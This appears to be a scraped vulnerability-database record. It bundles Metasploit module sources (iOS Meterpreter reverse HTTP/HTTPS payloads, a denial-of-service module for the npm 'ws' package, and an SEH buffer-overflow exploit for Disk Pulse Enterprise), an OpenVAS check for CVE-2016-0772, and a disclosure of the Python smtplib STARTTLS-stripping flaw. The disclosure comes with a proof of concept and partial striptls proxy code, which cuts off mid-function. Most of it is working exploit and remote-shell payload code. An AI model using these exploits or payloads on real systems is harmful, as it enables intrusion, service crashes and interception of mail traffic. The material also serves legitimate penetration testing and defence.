stageless: true\n }\n MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb"}, {"lastseen": "2019-11-30T12:11:11", "bulletinFamily": "exploit", "description": "Run the Meterpreter / Mettle server payload (stageless)\n", "modified": "2019-05-21T17:40:27", "published": "2017-12-12T08:05:23", "id": "MSF:PAYLOAD/APPLE_IOS/AARCH64/METERPRETER_REVERSE_HTTP", "href": "", "type": "metasploit", "title": "Apple_iOS Meterpreter, Reverse HTTP Inline", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/handler/reverse_http'\nrequire 'msf/base/sessions/meterpreter_options'\nrequire 'msf/base/sessions/mettle_config'\nrequire 'msf/base/sessions/meterpreter_aarch64_apple_ios'\n\nmodule MetasploitModule\n\n CachedSize = 796364\n\n include Msf::Payload::Single\n include Msf::Sessions::MeterpreterOptions\n include Msf::Sessions::MettleConfig\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Apple_iOS Meterpreter, Reverse HTTP Inline',\n 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',\n 'Author' => [\n 'Adam Cammack <adam_cammack[at]rapid7.com>',\n 'Brent Cook <brent_cook[at]rapid7.com>',\n 'timwr'\n ],\n 'Platform' => 'apple_ios',\n 'Arch' => ARCH_AARCH64,\n 'License' => MSF_LICENSE,\n 'Handler' => Msf::Handler::ReverseHttp,\n 'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS\n )\n )\n end\n\n def generate\n opts = {\n scheme: 'http',\n stageless: true\n }\n MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb"}, {"lastseen": "2019-11-24T21:37:17", "bulletinFamily": "exploit", "description": "This module exploits a Denial of Service vulnerability in npm module \"ws\". By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash.\n", "modified": "2017-12-11T16:49:31", "published": "2017-12-07T15:45:57", "id": "MSF:AUXILIARY/DOS/HTTP/WS_DOS", "href": "", "type": "metasploit", "title": "ws - Denial of Service", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::Tcp\n include Msf::Auxiliary::Dos\n\n def initialize\n super(\n 'Name' => 'ws - Denial of Service',\n 'Description' => %q{\n This module exploits a Denial of Service vulnerability in npm module \"ws\".\n By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash.\n },\n 'References' =>\n [\n ['URL', 'https://nodesecurity.io/advisories/550'],\n ['CWE', '400'],\n ],\n 'Author' =>\n [\n 'Ryan Knell, Sonatype Security Research',\n 'Nick Starke, Sonatype Security Research',\n ],\n 'License' => MSF_LICENSE\n )\n\n register_options([\n Opt::RPORT(3000),\n OptString.new('TARGETURI', [true, 'The base path', '/']),\n ],)\n end\n\n def run\n path = datastore['TARGETURI']\n\n #Create HTTP request\n req = [\n \"GET #{path} HTTP/1.1\",\n \"Connection: Upgrade\",\n \"Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(rand(10) + 5).to_s}\",\n \"Sec-WebSocket-Version: 8\",\n \"Sec-WebSocket-Extensions: constructor\", #Adding \"constructor\" as the value for this header causes the DoS\n \"Upgrade: websocket\",\n \"\\r\\n\"\n ].join(\"\\r\\n\");\n\n begin\n connect\n print_status(\"Sending DoS packet to #{peer}\")\n sock.put(req)\n\n data = sock.get_once(-1) #Attempt to retrieve data from the socket\n\n if data =~ /101/ #This is the expected HTTP status code. IF it's present, we have a valid upgrade response.\n print_error(\"WebSocket Upgrade request Successful, service not vulnerable.\")\n else\n fail_with(Failure::Unknown, \"An unknown error occured\")\n end\n\n disconnect\n print_error(\"DoS packet unsuccessful\")\n\n rescue ::Rex::ConnectionRefused\n print_error(\"Unable to connect to #{peer}\")\n rescue ::Errno::ECONNRESET, ::EOFError\n print_good(\"DoS packet successful. #{peer} not responding.\")\n end\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/dos/http/ws_dos.rb"}, {"lastseen": "2019-12-04T08:48:02", "bulletinFamily": "exploit", "description": "This module exploits an SEH buffer overflow in Disk Pulse Enterprise 9.9.16. If a malicious user sends a crafted HTTP GET request it is possible to execute a payload that would run under the Windows NT AUTHORITY\\SYSTEM account.\n", "modified": "2019-08-15T23:10:44", "published": "2017-09-13T15:19:24", "id": "MSF:EXPLOIT/WINDOWS/HTTP/DISK_PULSE_ENTERPRISE_GET", "href": "", "type": "metasploit", "title": "Disk Pulse Enterprise GET Buffer Overflow", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Remote::Seh\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',\n 'Description' => %q(\n This module exploits an SEH buffer overflow in Disk Pulse Enterprise\n 9.9.16. If a malicious user sends a crafted HTTP GET request\n it is possible to execute a payload that would run under the Windows\n NT AUTHORITY\\SYSTEM account.\n ),\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Chance Johnson', # msf module - albatross@loftwing.net\n 'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com\n ],\n 'References' =>\n [\n [ 'EDB', '42560' ]\n ],\n 'DefaultOptions' =>\n {\n 'EXITFUNC' => 'thread'\n },\n 'Platform' => 'win',\n 'Payload' =>\n {\n 'EncoderType' => \"alpha_mixed\",\n 'BadChars' => \"\\x00\\x0a\\x0d\\x26\"\n },\n 'Targets' =>\n [\n [ 'Disk Pulse Enterprise 9.9.16',\n {\n 'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll\n 'Offset' => 2492\n }]\n ],\n 'Privileged' => true,\n 'DisclosureDate' => 'Aug 25 2017',\n 'DefaultTarget' => 0))\n\n register_options([Opt::RPORT(80)])\n end\n\n def check\n res = send_request_cgi(\n 'uri' => '/',\n 'method' => 'GET'\n )\n\n if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\\.9\\.16/\n return Exploit::CheckCode::Appears\n end\n\n return Exploit::CheckCode::Safe\n end\n\n def exploit\n connect\n\n print_status(\"Generating exploit...\")\n exp = payload.encoded\n exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset\n exp << generate_seh_record(target.ret)\n exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode\n exp << \"\\xE9\\x25\\xBF\\xFF\\xFF\" # jmp 0xffffbf2a - jmp back to shellcode start\n exp << 'B' * (5000 - exp.length) # padding\n\n print_status(\"Sending exploit...\")\n\n send_request_cgi(\n 'uri' => '/../' + exp,\n 'method' => 'GET',\n 'host' => '4.2.2.2',\n 'connection' => 'keep-alive'\n )\n\n handler\n disconnect\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/disk_pulse_enterprise_get.rb"}], "openvas": [{"lastseen": "2019-05-29T18:33:31", "bulletinFamily": "scanner", "description": "It was discovered that there was a TLS stripping vulnerability in the smptlib\nlibrary distributed with the CPython interpreter.\n\nThe library did not return an error if StartTLS failed, which might have\nallowed man-in-the-middle attackers to bypass the TLS protections by leveraging\na network position to block the StartTLS command.", "modified": "2019-03-18T00:00:00", "published": "2018-01-12T00:00:00", "id": "OPENVAS:1361412562310890871", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310890871", "title": "Debian LTS Advisory ([SECURITY] [DLA 871-1] python3.2 security update)", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: deb_dla_871.nasl 14281 2019-03-18 14:53:48Z cfischer $\n#\n# Auto-generated from advisory DLA 871-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2018 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.890871\");\n script_version(\"$Revision: 14281 $\");\n script_cve_id(\"CVE-2016-0772\");\n script_name(\"Debian LTS Advisory ([SECURITY] [DLA 871-1] python3.2 security update)\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-18 15:53:48 +0100 (Mon, 18 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-01-12 00:00:00 +0100 (Fri, 12 Jan 2018)\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n script_xref(name:\"URL\", value:\"https://lists.debian.org/debian-lts-announce/2017/03/msg00029.html\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2018 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB7\");\n script_tag(name:\"affected\", value:\"python3.2 on Debian Linux\");\n script_tag(name:\"solution\", value:\"For Debian 7 'Wheezy', this issue has been fixed in python3.2 version\n3.2.3-7+deb7u1.\n\nWe recommend that you upgrade your python3.2 packages.\");\n script_tag(name:\"summary\", value:\"It was discovered that there was a TLS stripping vulnerability in the smptlib\nlibrary distributed with the CPython interpreter.\n\nThe library did not return an error if StartTLS failed, which might have\nallowed man-in-the-middle attackers to bypass the TLS protections by leveraging\na network position to block the StartTLS command.\");\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif((res = isdpkgvuln(pkg:\"idle-python3.2\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libpython3.2\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"python3.2\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"python3.2-dbg\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"python3.2-dev\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"python3.2-doc\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"python3.2-examples\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"python3.2-minimal\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "zdt": [{"lastseen": "2018-04-05T23:44:36", "bulletinFamily": "exploit", "description": "Exploit for multiple platform in category local exploits", "modified": "2018-01-11T00:00:00", "published": "2018-01-11T00:00:00", "href": "https://0day.today/exploit/description/29438", "id": "1337DAY-ID-29438", "type": "zdt", "title": "Python smtplib 2.7.11 / 3.4.4 / 3.5.1 - Man In The Middle StartTLS Stripping Vulnerability", "sourceData": "VuNote\r\n============\r\n \r\n Author: <github.com/tintinweb>\r\n Version: 0.2\r\n Date: Nov 25th, 2015\r\n \r\n Tag: python smtplib starttls stripping (mitm)\r\n \r\nOverview\r\n--------\r\n \r\n Name: python \r\n Vendor: python software foundation\r\n References: * https://www.python.org/ [1]\r\n \r\n Version: 2.7.11, 3.4.4, 3.5.1\r\n Latest Version: 2.7.11, 3.4.4, 3.5.1 [2]\r\n Other Versions: 2.2 [3] (~14 years ago) <= affected <= 2.7.11\r\n 3.0 [3] (~7 years ago) <= affected <= 3.4.4\r\n 3.5.1\r\n Platform(s): cross\r\n Technology: c/python\r\n \r\n Vuln Classes: Selection of Less-Secure Algorithm During Negotiation (CWE-757)\r\n Origin: remote/mitm\r\n Min. Privs.: -\r\n \r\n CVE: CVE-2016-0772\r\n \r\n \r\nDescription\r\n---------\r\n \r\nquote wikipedia [4]\r\n \r\n>Python is a widely used high-level, general-purpose, interpreted, dynamic programming language. Its design philosophy emphasizes code readability, and its syntax allows programmers to express concepts in fewer lines of code than would be possible in languages such as C++ or Java.[24][25] The language provides constructs intended to enable clear programs on both a small and large scale.\r\n \r\n \r\nSummary \r\n-------\r\n \r\npython smtplib does not seem to raise an exception when the remote \r\nend (smtp server) is capable of negotiating starttls (as seen in the \r\nresponse to ehlo) but fails to respond with 220 (ok) to an explicit \r\ncall of `SMTP.starttls()`. This may allow a malicious mitm to perform a \r\nstarttls stripping attack if the client code does not explicitly check \r\nthe response code for starttls, which is rarely done as one might \r\nexpect that it raises an exception when starttls negotiation fails \r\n(like when calling starttls on a server that does not support it or \r\nwhen it fails to negotiate tls due to an ssl exception/cipher \r\nmismatch/auth fail).\r\n \r\nQuoting the PSRT with an extended analysis\r\n \r\n> It is a surprising and potential dangerous behavior. It also violates Python's documentation. states that all SMTP commands after starttls() are encrypted. That's clearly not true in case of response != 200. I also had a look how the other stdlib libraries handle starttls problems. nntplib's and imaplib's starttls() method raise an error when the starttls handshake fails.\r\n \r\nChecking on how `smtplib.starttls()` is actually being used by open-source projects underlines that `smtplib.starttls()` is generally expected to throw an exception if the starttls protocol was not executed correctly. Therefore this issue may have an impact on some major projects like Django, web2py. Apart from that the current `smtplib.starttls()` behavior is different to `nntplib.starttls()`, `imaplib.starttls()`\r\n \r\nPoC see [6]\r\npatch attached.\r\n \r\nDetails\r\n------\r\n \r\nThe vulnerable code is located in `lib/smtplib.py` [3] line 646 (2.7 branch) and \r\nfails to raise an exception if `resp!=220`.\r\n \r\nThe documentation [7] suggests that `starttls()` either encrypts all communication\r\nor throws an exception if it was not able to negotiate tls.\r\n \r\n SMTP.starttls([keyfile[, certfile]])\r\n Put the SMTP connection in TLS (Transport Layer Security) mode. All SMTP commands that follow will be encrypted. You should then call ehlo() again.\r\n \r\n If keyfile and certfile are provided, these are passed to the socket module\ufffds ssl() function.\r\n \r\n If there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first.\r\n \r\n Changed in version 2.6.\r\n \r\n SMTPHeloError\r\n The server didn\ufffdt reply properly to the HELO greeting.\r\n SMTPException\r\n The server does not support the STARTTLS extension.\r\n Changed in version 2.6.\r\n \r\n RuntimeError\r\n SSL/TLS support is not available to your Python interpreter.\r\n \r\n \r\nCode `lib/smtplib.py`:\r\n \r\nInline annotations are prefixed with `//#!`\r\n \r\n def starttls(self, keyfile=None, certfile=None):\r\n \"\"\"Puts the connection to the SMTP server into TLS mode.\r\n If there has been no previous EHLO or HELO command this session, this\r\n method tries ESMTP EHLO first.\r\n If the server supports TLS, this will encrypt the rest of the SMTP\r\n session. If you provide the keyfile and certfile parameters,\r\n the identity of the SMTP server and client can be checked. This,\r\n however, depends on whether the socket module really checks the\r\n certificates.\r\n This method may raise the following exceptions:\r\n SMTPHeloError The server didn't reply properly to\r\n the helo greeting.\r\n \"\"\"\r\n self.ehlo_or_helo_if_needed()\r\n if not self.has_extn(\"starttls\"):\r\n raise SMTPException(\"STARTTLS extension not supported by server.\")\r\n (resp, reply) = self.docmd(\"STARTTLS\")\r\n if resp == 220: //#! with a server not responding 220 it wont even try to negotiate tls\r\n if not _have_ssl: //#! silently stays unencrypted\r\n raise RuntimeError(\"No SSL support included in this Python\")\r\n self.sock = ssl.wrap_socket(self.sock, keyfile, certfile)\r\n self.file = SSLFakeFile(self.sock)\r\n # RFC 3207:\r\n # The client MUST discard any knowledge obtained from\r\n # the server, such as the list of SMTP service extensions,\r\n # which was not obtained from the TLS negotiation itself.\r\n self.helo_resp = None\r\n self.ehlo_resp = None\r\n self.esmtp_features = {}\r\n self.does_esmtp = 0\r\n return (resp, reply) //#! to actually detect this a client would have to manually check resp==220\r\n //#! or that the socket was turned into an SSLSock object\r\n \r\nProof of Concept\r\n----------------\r\n \r\n1. start `striptls.py` proxy\r\n \r\n #> python striptls/striptls.py -l 0.0.0.0:9999 -r remote.mailserver.tld:25 -x SMTP.StripWithInvalidResponseCode\r\n \r\n - INFO - <Proxy 0x1f04910 listen=('0.0.0.0', 9999) target=('remote.mailserver.tld', 25)> ready.\r\n - DEBUG - * added test (port:25 , proto: SMTP): <class __main__.StripWithInvalidResponseCode at 0x020F85E0>\r\n - INFO - <RewriteDispatcher vectors={25: set([<class __main__.StripWithInvalidResponseCode at 0x020F85E0>])}>\r\n \r\n2. send mail using `smtplib` (starttls)\r\n \r\n import smtplib\r\n server = smtplib.SMTP('localhost', port=9999)\r\n server.set_debuglevel(1)\r\n server.ehlo()\r\n print server.esmtp_features\r\n server.starttls()\r\n server.sendmail(\"[email\u00a0protected]\", \"[email\u00a0protected]\", \"From: [email\u00a0protected]\\r\\nTo: [email\u00a0protected]\\r\\n\\r\\n\")\r\n server.quit()\r\n \r\n3. watch `striptls.py` fake the server response with `resp=200` instead of `resp=220`, not forwarding the message to the server. This effectively strips starttls. `smtplib` keeps sending in plaintext with no indication to the client code that starttls negotiation actually failed.\r\n \r\n - DEBUG - <ProtocolDetect 0x1f25530 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)\r\n - INFO - <Session 0x1f0ea50> client ('127.0.0.1', 59687) has connected\r\n - INFO - <Session 0x1f0ea50> connecting to target ('remote.mailserver.tld', 25)\r\n - DEBUG - <Session 0x1f0ea50> [client] <= [server] '220 mailserver.tld (msrv002) Nemesis ESMTP Service ready\\r\\n'\r\n - DEBUG - <RewriteDispatcher - changed mangle: __main__.StripWithInvalidResponseCode new: True>\r\n - DEBUG - <Session 0x1f0ea50> [client] => [server] 'ehlo [192.168.139.1]\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [x.x.x.x]\\r\\n250-SIZE 3 1457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250 STARTTLS\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] => [server] 'STARTTLS\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] <= [server][mangled] '200 STRIPTLS\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] => [server][mangled] None\r\n - DEBUG - <Session 0x1f0ea50> [client] => [server] 'mail FROM:<[email\u00a0protected]> size=10\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] <= [server] '530 Authentication required\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] => [server] 'rset\\r\\n'\r\n - DEBUG - <Session 0x1f0ea50> [client] <= [server] '250 OK\\r\\n'\r\n - WARNING - <Session 0x1f0ea50> terminated.\r\n \r\nPatch\r\n-------\r\n \r\n* raise an exception if the server replies with an unexpected return-code to an explicit call for `smtplib.starttls()`.\r\n \r\n #https://github.com/python/cpython <master> diff --git a/Lib/smtplib.py b/Lib/smtplib.py index 4756973..dfbf5f9 100755\r\n --- a/Lib/smtplib.py\r\n +++ b/Lib/smtplib.py\r\n @@ -773,6 +773,11 @@ class SMTP:\r\n self.ehlo_resp = None\r\n self.esmtp_features = {}\r\n self.does_esmtp = 0\r\n + else:\r\n + # RFC 3207:\r\n + # 501 Syntax error (no parameters allowed)\r\n + # 454 TLS not available due to temporary reason\r\n + raise SMTPResponseException(resp, reply)\r\n return (resp, reply)\r\n \r\n def sendmail(self, from_addr, to_addrs, msg, mail_options=[],\r\n \r\nNotes\r\n-----\r\n \r\nVendor response: see [8,9,10]\r\n \r\nTimeline:\r\n \r\n 11/25/2015 contact psrt; provided details, PoC, proposed patch\r\n 12/01/2016 response, initial analysis\r\n 01/29/2016 request ETA, bugref\r\n 02/01/2016 psrt assigned CVE-2016-0772\r\n 02/12/2016 response: will be addressed in upcoming 2.7, 3.5\r\n 02/13/2016 request ETA; response: no exact date\r\n 03/29/2016 request ETA; response: generic bounce message\r\n 05/12/2016 request ETA; no response\r\n 05/27/2016 request ETA; response: no exact date\r\n 06/12/2016 request ETA;\r\n 06/14/2016 response: ETA ~ June 26th\r\n 06/14/2016 vendor announcement [9]\r\n \r\nReferences\r\n---------\r\n \r\n [1] https://www.python.org/\r\n [2] https://www.python.org/downloads/\r\n [3] https://github.com/python/cpython/blob/2.7/Lib/smtplib.py\r\n [4] https://en.wikipedia.org/wiki/Python_(programming_language)\r\n [5] https://docs.python.org/2/library/smtplib.html#smtplib.SMTP.starttls\r\n [6] https://github.com/tintinweb/striptls\r\n [7] https://docs.python.org/2/library/smtplib.html\r\n [8] https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-0772\r\n [9] http://www.openwall.com/lists/oss-security/2016/06/14/9\r\n [10] https://access.redhat.com/security/cve/cve-2016-0772\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n#! /usr/bin/env python\r\n# -*- coding: UTF-8 -*-\r\n# Author : <github.com/tintinweb>\r\n# see: https://github.com/tintinweb/striptls\r\n# pip install striptls\r\n#\r\n'''\r\n inbound outbound\r\n[inbound_peer]<------------>[listen:proxy]<------------->[outbound_peer/target]\r\n'''\r\nimport sys\r\nimport os\r\nimport logging\r\nimport socket\r\nimport select\r\nimport ssl\r\nimport time\r\nimport re\r\n \r\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)-8s - %(message)s')\r\nlogger = logging.getLogger(__name__)\r\n \r\nclass SessionTerminatedException(Exception):pass\r\nclass ProtocolViolationException(Exception):pass\r\n \r\nclass TcpSockBuff(object):\r\n ''' Wrapped Tcp Socket with access to last sent/received data '''\r\n def __init__(self, sock, peer=None):\r\n self.socket = None\r\n self.socket_ssl = None\r\n self.recvbuf = ''\r\n self.sndbuf = ''\r\n self.peer = peer\r\n self._init(sock)\r\n \r\n def _init(self, sock):\r\n self.socket = sock\r\n \r\n def connect(self, target=None):\r\n target = target or self.peer\r\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n return self.socket.connect(target)\r\n \r\n def accept(self):\r\n return self.socket.accept()\r\n \r\n def recv(self, buflen=8*1024, *args, **kwargs):\r\n if self.socket_ssl:\r\n chunks = []\r\n chunk = True\r\n data_pending = buflen\r\n while chunk and data_pending:\r\n chunk = self.socket_ssl.read(data_pending)\r\n chunks.append(chunk)\r\n data_pending = self.socket_ssl.pending()\r\n self.recvbuf = ''.join(chunks)\r\n else:\r\n self.recvbuf = self.socket.recv(buflen, *args, **kwargs)\r\n return self.recvbuf\r\n \r\n def recv_blocked(self, buflen=8*1024, timeout=None, *args, **kwargs):\r\n force_first_loop_iteration = True\r\n end = time.time()+timeout if timeout else 0\r\n while force_first_loop_iteration or (not timeout or time.time()<end):\r\n # force one recv otherwise we might not even try to read if timeout is too narrow\r\n try:\r\n return self.recv(buflen=buflen, *args, **kwargs)\r\n except ssl.SSLWantReadError:\r\n pass\r\n force_first_loop_iteration = False\r\n \r\n def send(self, data, retransmit_delay=0.1):\r\n if self.socket_ssl:\r\n last_exception = None\r\n for _ in xrange(3):\r\n try:\r\n self.socket_ssl.write(data)\r\n last_exception = None\r\n break\r\n except ssl.SSLWantWriteError,swwe:\r\n logger.warning(\"TCPSockBuff: ssl.sock not yet ready, retransmit (%d) in %f seconds: %s\"%(_,retransmit_delay,repr(swwe)))\r\n last_exception = swwe\r\n time.sleep(retransmit_delay)\r\n if last_exception:\r\n raise last_exception\r\n else:\r\n self.socket.send(data)\r\n self.sndbuf = data\r\n \r\n def sendall(self, data):\r\n if self.socket_ssl:\r\n self.send(data)\r\n else:\r\n self.socket.sendall(data)\r\n self.sndbuf = data\r\n \r\n def ssl_wrap_socket(self, *args, **kwargs):\r\n if len(args)>=1:\r\n args[1] = self.socket\r\n if 'sock' in kwargs:\r\n kwargs['sock'] = self.socket\r\n if not args and not kwargs.get('sock'):\r\n kwargs['sock'] = self.socket\r\n self.socket_ssl = ssl.wrap_socket(*args, **kwargs)\r\n self.socket_ssl.setblocking(0) # nonblocking for select\r\n \r\n def ssl_wrap_socket_with_context(self, ctx, *args, **kwargs):\r\n if len(args)>=1:\r\n args[1] = self.socket\r\n if 'sock' in kwargs:\r\n kwargs['sock'] = self.socket\r\n if not args and not kwargs.get('sock'):\r\n kwargs['sock'] = self.socket\r\n self.socket_ssl = ctx.wrap_socket(*args, **kwargs)\r\n self.socket_ssl.setblocking(0) # nonblocking for select\r\n \r\nclass ProtocolDetect(object):\r\n PROTO_SMTP = 25\r\n PROTO_XMPP = 5222\r\n PROTO_IMAP = 143\r\n PROTO_FTP = 21\r\n PROTO_POP3 = 110\r\n PROTO_NNTP = 119\r\n PROTO_IRC = 6667\r\n PROTO_ACAP = 675\r\n PROTO_SSL = 443\r\n \r\n PORTMAP = {25: PROTO_SMTP,\r\n 5222:PROTO_XMPP,\r\n 110: PROTO_POP3,\r\n 143: PROTO_IMAP,\r\n 21: PROTO_FTP,\r\n 119: PROTO_NNTP,\r\n 6667: PROTO_IRC,\r\n 675: PROTO_ACAP\r\n }\r\n \r\n KEYWORDS = ((['ehlo', 'helo','starttls','rcpt to:','mail from:'], PROTO_SMTP),\r\n (['xmpp'], PROTO_XMPP),\r\n (['. capability'], PROTO_IMAP),\r\n (['auth tls'], PROTO_FTP)\r\n )\r\n \r\n def __init__(self, target=None):\r\n self.protocol_id = None\r\n self.history = []\r\n if target:\r\n self.protocol_id = self.PORTMAP.get(target[1])\r\n if self.protocol_id:\r\n logger.debug(\"%s - protocol detected (target port)\"%repr(self))\r\n \r\n def __str__(self):\r\n return repr(self.proto_id_to_name(self.protocol_id))\r\n \r\n def __repr__(self):\r\n return \"<ProtocolDetect %s protocol_id=%s len_history=%d>\"%(hex(id(self)), self.proto_id_to_name(self.protocol_id), len(self.history))\r\n \r\n def proto_id_to_name(self, id):\r\n if not id:\r\n return id\r\n for p in (a for a in dir(self) if a.startswith(\"PROTO_\")):\r\n if getattr(self, p)==id:\r\n return p \r\n \r\n def detect_peek_tls(self, sock):\r\n if sock.socket_ssl:\r\n raise Exception(\"SSL Detection for ssl socket ..whut!\")\r\n TLS_VERSIONS = {\r\n # SSL\r\n '\\x00\\x02':\"SSL_2_0\",\r\n '\\x03\\x00':\"SSL_3_0\",\r\n # TLS\r\n '\\x03\\x01':\"TLS_1_0\",\r\n '\\x03\\x02':\"TLS_1_1\",\r\n '\\x03\\x03':\"TLS_1_2\",\r\n '\\x03\\x04':\"TLS_1_3\",\r\n }\r\n TLS_CONTENT_TYPE_HANDSHAKE = '\\x16'\r\n SSLv2_PREAMBLE = 0x80\r\n SSLv2_CONTENT_TYPE_CLIENT_HELLO ='\\x01'\r\n \r\n peek_bytes = sock.recv(5, socket.MSG_PEEK)\r\n if not len(peek_bytes)==5:\r\n return\r\n # detect sslv2, sslv3, tls: one symbol is one byte; T .. type\r\n # L .. length \r\n # V .. version\r\n # 01234\r\n # detect sslv2 LLTVV T=0x01 ... MessageType.client_hello; L high bit set.\r\n # sslv3 TVVLL \r\n # tls TVVLL T=0x16 ... ContentType.Handshake\r\n v = None\r\n if ord(peek_bytes[0]) & SSLv2_PREAMBLE \\\r\n and peek_bytes[2]==SSLv2_CONTENT_TYPE_CLIENT_HELLO \\\r\n and peek_bytes[3:3+2] in TLS_VERSIONS.keys():\r\n v = TLS_VERSIONS.get(peek_bytes[3:3+2])\r\n logger.info(\"ProtocolDetect: SSL23/TLS version: %s\"%v)\r\n elif peek_bytes[0] == TLS_CONTENT_TYPE_HANDSHAKE \\\r\n and peek_bytes[1:1+2] in TLS_VERSIONS.keys():\r\n v = TLS_VERSIONS.get(peek_bytes[1:1+2]) \r\n logger.info(\"ProtocolDetect: TLS version: %s\"%v)\r\n return v\r\n \r\n \r\n def detect(self, data):\r\n if self.protocol_id:\r\n return self.protocol_id\r\n self.history.append(data)\r\n for keywordlist,proto in self.KEYWORDS:\r\n if any(k in data.lower() for k in 